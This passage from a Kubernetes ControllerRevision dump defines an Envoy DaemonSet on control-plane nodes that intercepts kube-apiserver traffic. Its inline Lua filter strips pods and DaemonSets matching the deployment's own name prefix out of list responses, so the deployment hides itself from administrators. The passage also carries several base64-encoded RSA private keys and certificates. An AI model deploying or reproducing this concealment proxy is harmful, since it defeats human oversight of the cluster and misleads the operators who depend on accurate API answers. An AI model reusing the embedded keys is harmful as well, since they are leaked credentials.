              value: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBMkppbi9MMWkxdWplYjd0UmhuVFVYbUQ2ZDFNckpoY1dCYmZqQjNnUFFqQm12bDFGCmJuQnZwSWEya0F3WGRNVitmTnlmMVFnMW1MZFdNcHRxMUhEdGw1S1hpOFN2VDJubUdEZllKYnNFcElraHA0S1QKMkdrMUZmaTEvZU4vVStNbUlkL0NDUlFIUEdyTjQxODVBcUU0YzBGM2JKZExsTGR0UDI0M0NIMnZ6cjZiMHUvMQpCcjVPZS9NSkJUSklnejREQ0lURi9rdXl4NjRBSS9OZ0tMaXpIblRReDVsMXJkVzVOZklvLzJOR0pyL3JCZEpTCnpsNHhTT1pGeGN6dUNSSGNFS2VQaTZhV1hueGVzb2QxUHBsSGVKTVp2YnJNWWV1TFFDNG8yeXdWSXlVVHlIUnMKL0VQQXRGN3I5aFBDZVpUaE9GekRGdzIxak9mR0pPZ3dpdWpzbndJREFRQUJBb0lCQUFoZVBYOUNRZU5UcytSVgpORjBoZm1MM0ZEWXYvR2JJVlkxN0FVWjBtUUpScEdhT2EvUk1XOFBiZ0lvb0xXL1JnWVdKY0pObWNjdW9xYWZpCjRVbTc0eklMODlidWptZGZEQWk3ZjVwVmsyUlg5L2prenBsNTF4YzJPTEhLYkV6dFpiZkJVVm5RY0VjaFNUc1QKbnJ3L1JsTU5vSE9ObE5uMkRENTdINTB3WGU1NjFJTWMwam1qMm41WERRTzFFaW5WcU90dXlzd2hKcjM1VG80MQpLSllEZERYWVdDUDU1YzFxNC84VzdmU0lCb3pVRzJ5SjNzTWVXT2xRRVBmWVV5QTM2Y2ZCK2k5Yzh5S2dRZmVCCkoxWEhNOERLZENRdjZub3F3YytIc0ZvK2NQZ3ZVMDcxNTlPNEVISWg0VkpMSUhCZFptazM4QWtSUVJ1TXZzZG0KeTVsRWdvRUNnWUVBMmw0Wm84S2RNaTlTVUdGdkVHQUYrY012MlNhSlJpRTVGOTN4TXk4L0NrN2o0R0Q4QnFwQwpjSnlKOWhmb2dJd0ZHZUFxS25zbEk3RkY3MytWZkNsZHdtUm5LbEJLdVVNWS9CQjlYc3MrcithckRTSVBHZVgvCk9LU1ZQQ3dSanpSalhBVUlKdjgvaFRFZzNQTGV4YnpiazNjNHVFcnRCOVNBZ3pMQit1QjZvazhDZ1lFQS9leHAKWkczNnJVUDZrWWxEb3dRWW5mejRGalA1SXJxc1FvSkw1eGZOamZ6T05lM2tCeVY2RVA0M2ovbmgvaU1uL0Zybwo3NXNaR2NKbGR3cWl1SmZRTlRUNG5iY3pLelFla3NpTWJlbi9jU2FDMldJOG5hWGJ2bHVML3JBSXp0NGxRZGhVCmlQVlg3bk04RjN6a29wb3BjK2p3OVVMbDBUcHd1M01BUzMrTkRMRUNnWUVBZ0svLzhEQWFyNTZQcGVzbHBzTFEKQXJieWxjaE9FZFEyYjBoT2d0bVBEeVlheVBxZXk5YSt2TnFqdXpHdnhVRy9KOWFoUXRPN3VXTVpVZUVnV1VHUApqYVhaM21mZkFYcjNXR1RuWFZ2dG40QVN3ZlNXYmE3TFQ3ZytjbTJPRTVUT0VVYXQzVDJEVTV6MlB2K3FKV0g5CkROU3Z5bnZ0WURYdFhtUWxTUkhOYzZVQ2dZRUFoRTUreTltU1dGMm5YZFhMN0ZEaUV0QVE1R0RJVzVRdzFhYlcKcmQ3MU9CcVZ4L3ZnYU9qYUphaVFndkNORk1KMHYwVVBRbW5xTmtYWVlLS21EdERycUEybHpXZjd2WE0yeXZ5OApUemt4NUY5UXByeE5JVWVlckIwL1lNR1FsVm1peUNCVVM5aXFySkJXcTFaa08yVmdYQWp3Skp0cTdBNHJWMENnCjByWHZaTUVDZ1lBTVB4TEJEaWU1ZWJlOHRrUEEybkNFdzVJS0V1aC9VRmZuUGZhVTRjV21mZTFsYXVjbG1GankKaklyRkwwcDUzNEo4T0ZwU3ltTkptaEZwcnkycitEM3lORmt6UDg4SVhIQ3RCNUwrOEphSi9uMUt0RkdGc1RzVAo2Z3JqcVQ5elh6Wk1waFMyM0p4enZNR0lOYnNmdXozNnAycDdwOVpLT0JIekNkanhxZEZRalE9PQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=
            image: envoyproxy/envoy:v1.36.2
            imagePullPolicy: IfNotPresent
            name: envoy
            ports:
            - containerPort: 15443
              name: intercept
              protocol: TCP
            - containerPort: 9901
              name: admin
              protocol: TCP
            resources: {}
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /work
              name: work
          dnsPolicy: ClusterFirstWithHostNet
          hostNetwork: true
          nodeSelector:
            node-role.kubernetes.io/control-plane: ""
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          terminationGracePeriodSeconds: 30
          tolerations:
          - effect: NoSchedule
            key: node-role.kubernetes.io/control-plane
          - effect: NoSchedule
            key: node-role.kubernetes.io/master
          volumes:
          - emptyDir: {}
            name: work
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apps/v1","kind":"DaemonSet","metadata":{"annotations":{},"name":"m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy","namespace":"default"},"spec":{"selector":{"matchLabels":{"app":"m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy"}},"template":{"metadata":{"labels":{"app":"m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy"}},"spec":{"containers":[{"args":["set -eu\numask 077\nmkdir -p /work/tls-down /work/client-ca /work/proxy-client\n\nprintf \"%s\" \"$TLS_DOWN_CRT_B64\"  | base64 -d \u003e /work/tls-down/tls.crt\nprintf \"%s\" \"$TLS_DOWN_KEY_B64\"  | base64 -d \u003e /work/tls-down/tls.key\nprintf \"%s\" \"$CLIENT_CA_CRT_B64\" | base64 -d \u003e /work/client-ca/ca.crt\n\nHAVE_PROXY_CLIENT=false\nif [ -n \"${PROXY_CLIENT_CRT_B64:-}\" ] \u0026\u0026 [ -n \"${PROXY_CLIENT_KEY_B64:-}\" ]; then\n  printf \"%s\" \"$PROXY_CLIENT_CRT_B64\" | base64 -d \u003e /work/proxy-client/tls.crt\n  printf \"%s\" \"$PROXY_CLIENT_KEY_B64\" | base64 -d \u003e /work/proxy-client/tls.key\n  HAVE_PROXY_CLIENT=true\nfi\n\ncat \u003e /work/envoy.yaml \u003c\u003c'YAML'\nstatic_resources:\n  listeners:\n    - name: local_intercept\n      address:\n        socket_address:\n          address: 0.0.0.0\n          port_value: 15443\n      listener_filters:\n        - name: envoy.filters.listener.tls_inspector\n          typed_config:\n            \"@type\": type.googleapis.com/envoy.extensions.filters.listener.tls_inspector.v3.TlsInspector\n      filter_chains:\n        - filter_chain_match:\n            transport_protocol: \"tls\"\n          transport_socket:\n            name: envoy.transport_sockets.tls\n            typed_config:\n              \"@type\": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.DownstreamTlsContext\n              require_client_certificate: true\n              common_tls_context:\n                tls_certificates:\n                  - certificate_chain:\n                      filename: /work/tls-down/tls.crt\n                    private_key:\n                      filename: /work/tls-down/tls.key\n                validation_context:\n                  trusted_ca:\n                    filename: /work/client-ca/ca.crt\n                alpn_protocols:\n                  - h2\n                  - http/1.1\n          filters:\n            - name: envoy.filters.network.http_connection_manager\n              typed_config:\n                \"@type\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager\n                stat_prefix: user_l7\n                codec_type: AUTO\n                upgrade_configs:\n                  - upgrade_type: websocket\n                route_config:\n                  name: routes\n                  virtual_hosts:\n                    - name: default\n                      domains: [\"*\"]\n                      routes:\n                        - match:\n                            prefix: \"/\"\n                          route:\n                            cluster: apiserver_upstream\n                http_filters:\n                  - name: envoy.filters.http.lua\n                    typed_config:\n                      \"@type\": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua\n                      inline_code: |-\n                        local DS_WILDCARD = '^m6pcat8pkz1umdgfqqw10tz8nmndwm27.*'\n                        local JSON_NULL = {}\n                        local json = {}\n\n                        local function skip_ws(s,i) local _,j=s:find('^[ \\n\\r\\t]*',i) return (j or i-1)+1 end\n                        local function parse_str(s,i)\n                          i=i+1; local res, j = {}, i\n                          while true do\n                            local c=s:sub(j,j) if c=='' then error('unterminated string') end\n                            if c=='\"' then return table.concat(res), j+1 end\n                            if c=='\\\\' then\n                              local n=s:sub(j+1,j+1)\n                              if n=='\"' or n=='\\\\' or n=='/' then res[#res+1]=n; j=j+2\n                              elseif n=='b' then res[#res+1]='\\b'; j=j+2\n                              elseif n=='f' then res[#res+1]='\\f'; j=j+2\n                              elseif n=='n' then res[#res+1]='\\n'; j=j+2\n                              elseif n=='r' then res[#res+1]='\\r'; j=j+2\n                              elseif n=='t' then res[#res+1]='\\t'; j=j+2\n                              elseif n=='u' then j=j+6\n                              else error('invalid escape') end\n                            else res[#res+1]=c; j=j+1 end\n                          end\n                        end\n                        local function parse_num(s,i)\n                          local p=s:match('^%-?%d+%.?%d*[eE]?[+%-]?%d*',i) if not p then error('invalid number') end\n                          return tonumber(p), i+#p\n                        end\n                        local function parse_val(s,i)\n                          i=skip_ws(s,i); local c=s:sub(i,i)\n                          if c=='{' then\n                            local t={} i=i+1 i=skip_ws(s,i) if s:sub(i,i)=='}' then return t,i+1 end\n                            while true do\n                              i=skip_ws(s,i) if s:sub(i,i)~='\"' then error('object key not string') end\n                              local k; k,i=parse_str(s,i) i=skip_ws(s,i) if s:sub(i,i)~=':' then error('expected :') end\n                              local v; v,i=parse_val(s,i+1) t[k]=v i=skip_ws(s,i)\n                              local ch=s:sub(i,i) if ch=='}' then return t,i+1 end if ch~=',' then error('expected , or }') end\n                              i=i+1\n                            end\n                          elseif c=='[' then\n                            local t={} i=i+1 i=skip_ws(s,i) if s:sub(i,i)==']' then return t,i+1 end\n                            local idx=1\n                            while true do\n                              local v; v,i=parse_val(s,i) t[idx]=v idx=idx+1 i=skip_ws(s,i)\n                              local ch=s:sub(i,i) if ch==']' then return t,i+1 end if ch~=',' then error('expected , or ]') end\n                              i=i+1\n                            end\n                          elseif c=='\"' then local v; v,i=parse_str(s,i) return v,i\n                          elseif c=='-' or c:match('%d') then return parse_num(s,i)\n                          elseif s:sub(i,i+3)=='true' then return true, i+4\n                          elseif s:sub(i,i+4)=='false' then return false, i+5\n                          elseif s:sub(i,i+3)=='null' then return JSON_NULL, i+4\n                          else error('unexpected char') end\n                        end\n                        function json.decode(s)\n                          if not s or s=='' then return nil end\n                          if #s\u003e=3 and s:byte(1)==0xEF and s:byte(2)==0xBB and s:byte(3)==0xBF then s=s:sub(4) end\n                          s=s:gsub('^%s+','')\n                          local ok,val=pcall(function() local v=select(1,parse_val(s,1)) return v end)\n                          if ok then return val end\n                          return nil\n                        end\n                        local function esc_str(s)\n                          s=s:gsub('\\\\','\\\\\\\\'):gsub('\"','\\\\\"'):gsub('\\b','\\\\b'):gsub('\\f','\\\\f'):gsub('\\n','\\\\n'):gsub('\\r','\\\\r'):gsub('\\t','\\\\t')\n                          return '\"'..s..'\"'\n                        end\n                        local function is_array(t)\n                          if t==JSON_NULL or type(t)~='table' then return false end\n                          if t.__arr == true then return true end\n                          local max,count=0,0\n                          for k,_ in pairs(t) do\n                            if type(k)~='number' or k\u003c=0 or k%1~=0 then return false end\n                            if k\u003emax then max=k end; count=count+1\n                          end\n                          if max==0 or count~=max then return false end\n                          return true\n                        end\n                        local function enc(v)\n                          if v==JSON_NULL then return 'null' end\n                          local tv=type(v)\n                          if tv=='nil' then return 'null'\n                          elseif tv=='boolean' or tv=='number' then return tostring(v)\n                          elseif tv=='string' then return esc_str(v)\n                          elseif tv=='table' then\n                            if is_array(v) then\n                              local out={} for i=1,#v do out[i]=enc(v[i]) end return '['..table.concat(out,',')..']'\n                            else\n                              local out={}\n                              for k,val in pairs(v) do if k~='__arr' then out[#out+1]=esc_str(tostring(k))..':'..enc(val) end end\n                              return '{'..table.concat(out,',')..'}'\n                            end\n                          else return 'null' end\n                        end\n                        function json.encode(v) return enc(v) end\n\n                        local function preview(s,n) n=n or 160 if not s then return '\u003cnil\u003e' end return s:sub(1,n):gsub('[%c]',' ') end\n                        local function join(vals,lim) lim=lim or 8 local out={} for i=1,math.min(#vals,lim) do out[i]=tostring(vals[i]) end if #vals\u003elim then out[#out+1]='...+'..tostring(#vals-lim) end return table.concat(out,',') end\n\n                        local function is_ds_path(path)\n                          if #path\u003e1 and path:sub(-1)=='/' then path=path:sub(1,-2) end\n                          if path=='/apis/apps/v1/daemonsets' then return true end\n                          if path:match('^/apis/apps/v1/namespaces/[^/]+/daemonsets$') then return true end\n                          return false\n                        end\n                        local function is_pod_path(path)\n                          if #path\u003e1 and path:sub(-1)=='/' then path=path:sub(1,-2) end\n                          if path=='/api/v1/pods' then return true end\n                          if path:match('^/api/v1/namespaces/[^/]+/pods$') then return true end\n                          return false\n                        end\n                        local function find_name_col_idx(tbl)\n                          local defs=tbl.columnDefinitions\n                          if type(defs)~='table' then return 1 end\n                          for i=1,#defs do local nm=defs[i] and defs[i].name if nm=='Name' or nm=='NAME' then return i end end\n                          return 1\n                        end\n                        local function write_and_finish(handle,out,tag)\n                          local H = handle:headers()\n                          if H:get('content-length') then H:replace('content-length', tostring(#out)) end\n                          H:remove('content-encoding')\n                          if tag then H:replace('x-ds-filter', tag) end\n                          handle:body():setBytes(out)\n                          return\n                        end\n                        local function pod_owned_by_matching_ds(pod)\n                          if not pod or not pod.metadata or not pod.metadata.ownerReferences then return false end\n                          local refs = pod.metadata.ownerReferences\n                          for i=1,#refs do\n                            local r = refs[i]\n                            local k = r and r.kind\n                            local n = r and r.name\n                            if k=='DaemonSet' and type(n)=='string' and n:match(DS_WILDCARD) then return true end\n                          end\n                          return false\n                        end\n\n                        function envoy_on_request(handle)\n                          local hdrs = handle:headers()\n                          local raw  = hdrs:get(':path') or '/'\n                          local path = raw:gsub('%?.*$','')\n                          local m    = hdrs:get(':method') or 'GET'\n                          local qs   = raw:match('%?(.*)$')\n                          local acc  = hdrs:get('accept') or '\u003cnil\u003e'\n                          local ua   = hdrs:get('user-agent') or '\u003cnil\u003e'\n                          local is_watch = qs and qs:match('([?\u0026]watch=)(1|[Tt][Rr][Uu][Ee])')\n                          local should = (m=='GET') and (is_ds_path(path) or is_pod_path(path)) and not is_watch\n                          handle:logInfo('[lua] req m='..m..' path='..path..' ua='..ua..' accept='..acc..' should='..(should and 'true' or 'false'))\n                          if should then\n                            local ae_before = hdrs:get('accept-encoding') or '\u003cnil\u003e'\n                            hdrs:replace('accept-encoding', 'identity')\n                            handle:logInfo('[lua] strip accept-encoding: was='..ae_before..' now=identity')\n                            handle:streamInfo():dynamicMetadata():set('lua_ds_filter','enabled',true)\n                          end\n                        end\n\n                        function envoy_on_response(handle)\n                          local meta = handle:streamInfo():dynamicMetadata():get('lua_ds_filter') or {}\n                          if not meta['enabled'] then return end\n\n                          local H = handle:headers()\n                          local status = H:get(':status') or '200'\n                          local ct = H:get('content-type') or '\u003cnil\u003e'\n                          local ce = H:get('content-encoding') or '\u003cnil\u003e'\n                          if status ~= '200' then handle:logInfo('[lua] resp skip status='..status) return end\n\n                          local B = handle:body()\n                          if not B then handle:logInfo('[lua] resp no body') return end\n                          local n = B:length()\n                          if n == 0 then handle:logInfo('[lua] resp empty body') return end\n\n                          local s = B:getBytes(0, n)\n                          handle:logInfo('[lua] resp ct='..ct..' ce='..ce..' len='..tostring(n)..' preview=\"'..preview(s,160)..'\"')\n\n                          local doc = json.decode(s)\n                          if not doc or type(doc)~='table' then handle:logInfo('[lua] resp not json') return end\n\n                          handle:logInfo('[lua] kind='..tostring(doc.kind))\n\n                          if doc.kind=='Table' and type(doc.rows)=='table' then\n                            local before = #doc.rows\n                            local name_idx = find_name_col_idx(doc)\n                            local kept, removed, kept_names = {}, {}, {}\n                            for i=1,before do\n                              local row = doc.rows[i]\n                              local name\n                              if row and row.object and row.object.metadata then name = row.object.metadata.name end\n                              if (not name) and row and row.cells and name_idx and row.cells[name_idx] then\n                                local cell = row.cells[name_idx]\n                                if cell==JSON_NULL then cell=nil end\n                                name = cell\n                              end\n                              local kill = (type(name)=='string' and name:match(DS_WILDCARD))\n                              if (not kill) and row and row.object then kill = pod_owned_by_matching_ds(row.object) end\n                              if kill then removed[#removed+1] = name or '\u003cnoname\u003e' else if type(name)=='string' then kept_names[#kept_names+1]=name end kept[#kept+1] = row end\n                            end\n                            kept.__arr = true\n                            handle:logInfo('[lua] table rows_before='..tostring(before)..' name_col='..tostring(name_idx)..' removed='..join(removed,10)..' kept='..join(kept_names,10))\n                            doc.rows = kept\n                            local out = json.encode(doc)\n                            handle:logInfo('[lua] table rows_after='..tostring(#kept)..' out_len='..tostring(#out))\n                            return write_and_finish(handle, out, 'table-removed='..tostring(before-#kept)..' kept='..tostring(#kept))\n                          end\n\n                          if (doc.kind=='DaemonSetList' or doc.kind=='PodList') and type(doc.items)=='table' then\n                            local before = #doc.items\n                            local kept, removed, kept_names = {}, {}, {}\n                            for i=1,before do\n                              local it = doc.items[i]\n                              local name = it and it.metadata and it.metadata.name\n                              local kill = (type(name)=='string' and name:match(DS_WILDCARD))\n                              if (not kill) and doc.kind=='PodList' then kill = pod_owned_by_matching_ds(it) end\n                              if kill then removed[#removed+1] = name or '\u003cnoname\u003e' else if type(name)=='string' then kept_names[#kept_names+1]=name end kept[#kept+1] = it end\n                            end\n                            kept.__arr = true\n                            handle:logInfo('[lua] list kind='..tostring(doc.kind)..' items_before='..tostring(before)..' removed='..join(removed,10)..' kept='..join(kept_names,10))\n                            doc.items = kept\n                            local out = json.encode(doc)\n                            handle:logInfo('[lua] list items_after='..tostring(#kept)..' out_len='..tostring(#out))\n                            return write_and_finish(handle, out, 'list-removed='..tostring(before-#kept)..' kept='..tostring(#kept))\n                          end\n\n                          handle:logInfo('[lua] kind not handled')\n                          return\n                        end\n\n                  - name: envoy.filters.http.router\n                    typed_config:\n                      \"@type\": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router\n\n\n\n\n\n\n\n\n\n\n\n  clusters:\n    - name: apiserver_upstream\n      type: STATIC\n      connect_timeout: 5s\n      http2_protocol_options: {}\n      load_assignment:\n        cluster_name: apiserver_upstream\n        endpoints:\n          - lb_endpoints:\n              - endpoint:\n                  address:\n                    socket_address:\n                      address: 127.0.0.1\n                      port_value: 6443\n      transport_socket:\n        name: envoy.transport_sockets.tls\n        typed_config:\n          \"@type\": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.UpstreamTlsContext\n          common_tls_context:\n            tls_certificates:\n              - certificate_chain:\n                  filename: /work/proxy-client/tls.crt\n                private_key:\n                  filename: /work/proxy-client/tls.key\n            validation_context:\n              trusted_ca:\n                filename: /work/client-ca/ca.crt\n            alpn_protocols:\n              - h2\n              - http/1.1\n\nadmin:\n  address:\n    socket_address:\n      address: 127.0.0.1\n      port_value: 9901\nYAML\n\necho \"=== /work/envoy.yaml ===\"\nnl -ba /work/envoy.yaml\necho \"========================\"\n\nenvoy --mode validate -c /work/envoy.yaml\n\nexec envoy -c /work/envoy.yaml --disable-hot-restart\n"],"command":["/bin/sh","-ec"],"env":[{"name":"TLS_DOWN_CRT_B64","value":"LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURqVENDQW5XZ0F3SUJBZ0lJVFZjc1gzaXBhRzR3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBNU1qRXhNVEEwTURWYUZ3MHlOakE1TWpFeE1UQTVNRFZhTUJreApGekFWQmdOVkJBTVREbXQxWW1VdFlYQnBjMlZ5ZG1WeU1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBCk1JSUJDZ0tDQVFFQXRHOUdCWkR1WGlabklnekV2NEI0dkhrbDVxZzBpNlowT3AzQXVkUVRQR3hxU2tRUFhNQW8KbFZoWFRUcENFQUtjZzJ2ZGhoK0t3ZzZvMUt1QzJ2c2JZVkV0Q1ZoVzJaNmV1V0dncTl4emxYWHVNTGhVSDl5NQpqWmN0b0VOcXh2c0pnekNqRGF3MExuMS9EZm54L2pVTE4yQ2lCVWM3VDVzcHhCdTdwVWFzSzNhYWsrdS9OdmJsClI0NzdGVUpFVS8xRFQrNWZhYzA3V0lGY05LR09FWExueG1FbWlzK21KZ0tPSU5XYVFpYnJYUGVaRXRKL1d4dWUKRmMwZEgxMnJLWE9kdUdiQUJsQUhiODFXTlZnUEpEOXlseTRDSWs3a3lEanNYTU9WemJKdkFWYUFDeDRJWm4zcApXN3Q2eU5LZXBGU2RGMHExUFduc1VMRkZtYXdQTUZJbUx3SURBUUFCbzRIY01JSFpNQTRHQTFVZER3RUIvd1FFCkF3SUZvREFUQmdOVkhTVUVEREFLQmdnckJnRUZCUWNEQVRBTUJnTlZIUk1CQWY4RUFqQUFNQjhHQTFVZEl3UVkKTUJhQUZBbjZHR3BSZGFiS253S1p2M3QxMHl2OTVrVjRNSUdDQmdOVkhSRUVlekI1Z2dkck9ITXRiUzB4Z2dwcgpkV0psY201bGRHVnpnaEpyZFdKbGNtNWxkR1Z6TG1SbFptRjFiSFNDRm10MVltVnlibVYwWlhNdVpHVm1ZWFZzCmRDNXpkbU9DSkd0MVltVnlibVYwWlhNdVpHVm1ZWFZzZEM1emRtTXVZMngxYzNSbGNpNXNiMk5oYkljRUNtQUEKQVljRXJCQWVFSWNFckJBZStqQU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FRRUFLWSs0Y1pzL3lFM1dvU0QzYzMycQpJV0IvK2dCZ3hieFFmZDUydzNYNWwrZUY0VVhDcXpVSGd6UEhjdTRFQVptZUo1R3RVZDhrK1NjeVF4RVo3V3M1Cm5kUkFXVS9pLy9tQnhiM2xqbUt3Y2tQMUpXbFdvaVh3d1ZWWGVqUExRa0NDYjM1OE5wYUNnZ1lKWDBWY1ZEcisKRDhUL3FKNnNzVnFuQ1dtUG0xb1JuSmVYSVVlcDJWNmFWSDhPcE45ZGc5Z21nemZ0YTVZUTdyWFF0aEt1dnVIdgpicUs0dE90aklOdzlnZGZKd0Y4MHFxTmVaNGltWGNtam9IRml5NjFPa0NpTXc0MSszNmNBODRrU2krM0s1ZHVqCkg3OGI2RlhjZWFFb3FUYmpNdkVYMHZSbWhqbkk5OUdWaFN0SU1RSkJhSXVKU0UzbHJXbVpQbkdJNzRyVlFkRS8KQ3c9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=="},{"name":"TLS_DOWN_KEY_B64","value":"LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb2dJQkFBS0NBUUVBdEc5R0JaRHVYaVpuSWd6RXY0QjR2SGtsNXFnMGk2WjBPcDNBdWRRVFBHeHFTa1FQClhNQW9sVmhYVFRwQ0VBS2NnMnZkaGgrS3dnNm8xS3VDMnZzYllWRXRDVmhXMlo2ZXVXR2dxOXh6bFhYdU1MaFUKSDl5NWpaY3RvRU5xeHZzSmd6Q2pEYXcwTG4xL0RmbngvalVMTjJDaUJVYzdUNXNweEJ1N3BVYXNLM2Fhayt1LwpOdmJsUjQ3N0ZVSkVVLzFEVCs1ZmFjMDdXSUZjTktHT0VYTG54bUVtaXMrbUpnS09JTldhUWliclhQZVpFdEovCld4dWVGYzBkSDEycktYT2R1R2JBQmxBSGI4MVdOVmdQSkQ5eWx5NENJazdreURqc1hNT1Z6Ykp2QVZhQUN4NEkKWm4zcFc3dDZ5TktlcEZTZEYwcTFQV25zVUxGRm1hd1BNRkltTHdJREFRQUJBb0lCQUNaK3J2TzFEZ1hzTDRpbQpMTHVtanh1MnhRMUd5WjhacmlaclRaalgxQnJLRG9zMXBnbGx2Y0xQRENFZjBzUlRxa3lua0tWeXlVbkprdDk4CmovaGtKbDFHMGxMeUUrVnQzL014RHZSYm5oVS9DY2cvSzBONDllVnRZWUNWb1l3K05yTlVoeFQ5cmt4VTNleC8KYk0rTlJZMVZBbndaekYrWmZQbW42UXJEM3l1T1VJc3JzK2svWUdPbFlmVThYR3JMeTFtRURoSnhJRHNuQ2c2agpLV2pCZ2lsMTQ3STdKdlJvOUdOdndCR0lGcG4vNy9zN2xIVXVOdmV4Vyt0d2h3MkhnMHlZRE4yS1VvMkV3THJoCmg0dUNLaXhuOUxORm82RHF5LzllNzEzVXM4QWJPTWZ5WDIzVXNvTXBNWWFIN01Ec0E3UTA1RzZlMDNITkNUcGwKVjJ0ZDhpRUNnWUVBMWRjRk0rTHdaVlJVbU9rb2M1RFk2WE1IM2RGSUttZHAwWU5KTkVhRVAzTG1HaDBZR2dFRApGcHFlcVhCbk9mcTc3Y0k3YTY2d0ZMOWlRWTRCN0ZQYkxWbXNrV2E5UG1BUE5kNUdLdGRhWDFwN3IyQUZGZms3ClVUd3lTY2FtS3dHQWpnN2w1aXpGOExHZDR5SkRwdnNxaElBOGlxMzVVeVFCREhoQlZIYy8rVmNDZ1lFQTJBSTMKQXcyb1hEcDBpbnBaU0I0UDE0emMvak1RaUtSLzJJTlVkK1VHUW5qbllheWNyekpLeHN2UzZISmtMa213Vmd1bApRUDVKWjhLVkgxN2p6NUZteE9Jekd6a1gwWmkxYUJVZGZmZ2cxNlg0OEt3Ti9rcm1YNEpieUttMHdVc0lSNHFTCkowWnNSa3hncWppang2TndHV1JCS2dVYjAwYlRQNHlXdjRzcHV1a0NnWUJyYVRrRXlnNUVaNnFpc0NNUWdZWmoKSk5PanVOYk43ZW42UWo3SUVrK2xhenBuall1b3JDOTM4Q3lZSVl6SVU4aUg4ZE5WRUljRHRPcE8wVnpuNzJzZAppWGlrQkg0MFVaM3lTZmJtMkF0ZDhCNUdoaTJuenV2YnJ5ZjNaTi9jcEVHRm1iZ2krUVJvRlYrZ1VucTI2bHg5Cjk4ZnhSTmdDeWdmNDBvTEdRYXdSdXdLQmdHcWZKVUpYa252N3lweXo2YkFFVHJPSjcyZDJFem92WUgraHk2Ym0Kb0dGZFJuRGEvL2dtYmV5VW5VVnBlWE96b2R2SEljbmorcDNCMlZQRHhkVW1JMEVabWpwY3d4b05NN1h0ZmtJNApvUlZ3OG1EeHZIS0J6QmJteEtGV3kwY0IzMU5ZM2UyUEFGRHUwR1FWVXhwdTNSMWJkQ0xtcEtaejlrQVBDRFlCCjNoWkpBb0dBVFYzVjRMd01VQUY2c05hbHhPbzhWK2RUNmlSZTJTV1A4N29jWVUwUGNISVBHNXZZNTI0OFp6TjAKVEJ2TGd4bGIvWWlXaE15cExIQVl1SkZ1NUlweGpTM1lhUVByNVk0ZUMxbHo5ODJFdldRUUF1dzdnUGxGazF0SwpiTFNZdVRwSm5Vbmk4UUtsRjVZMkpIL25iVmtTRHBnZURUNTc1K2xHODNaY3p1RlJVZm89Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg=="},{"name":"CLIENT_CA_CRT_B64","value":"LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJTFlmWUZGUERIOVV3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBNU1qRXhNVEEwTURWYUZ3MHpOVEE1TVRreE1UQTVNRFZhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUUMvSURncDJ6YU5EMTNrMFRTQUNYemVrYVdVL20zbHJEMXJXR054ZDNZdHJUOGNKNWM3YWV6bkYvMVkKeHVIWTFDTlBXQ2FUSVpBWlpzQ1lGZUhlaEkwdm13cGdpQkh5SFA5dTBXaGphWkZBY3JOZVZnMnE1czdJdkpJbAppdGREMnZHcmZiczJnQ0dBdGZ6MzNXcWpTaXhaVGNBdWdkQkFuN3B3YzZNTTNQNWc4ZWdrR0x6Z3o0YkZGQWNPCko4ZVJZakFwQlZiYVVOMVorek4vYmxsQVpYem1IOHA0R1VNT1Zabnp4eUIrZWZpN3RxZ3RCUXg2dGtjUENURWIKNUFURnpCSlYySFJQcVV4NDNCdDlmWStWbHZucm0yaUFlRTJPTGhxRCs4VlJsZXVvSmxiWklLeVlLOWR1djd0ZQpqd29icHNvbC8zMmF3N29hYVMwSjR1RWlKR1k5QWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJRSitoaHFVWFdteXA4Q21iOTdkZE1yL2VaRmVEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQVdOZE13WG8xKwo4TWtjR2R3bU1ZSVZWNXlvaTQySlZnYWNaVmdPMGdYaEJlV29USjRWL0FOcFVMZHo4WnNGeFpka0JXbE9zTXhqCnV2TTBDSndwa3Y5Z1pTNEVTb09Ua0VMZjVGTHdiY1AvN3dWazdiUlFBdTFmQnY0L0xXUXdFWnQ0QUY5RUlmcXMKWGp1UHpCb1l2b2wvQld0NjNRYlE5QnNxdHpVMVUzblZyL213dTJDS0ZqL0pMVFRrZWVZUlZwZENCVUkveUcvRgpleEpPZXJBeFpOcXRWeGVMdUk3MDRnRDRRdm04N09vQUp6WG53S2RwOXdZcDcvTGxOZTR5dFo1bDFJdDhqdldvClVCZXJrc2VQbGpsc2wrdmM3ajdCeDkyVGVITTR0bDNoVS8wRm1RWlZPVFA2bUQ1Z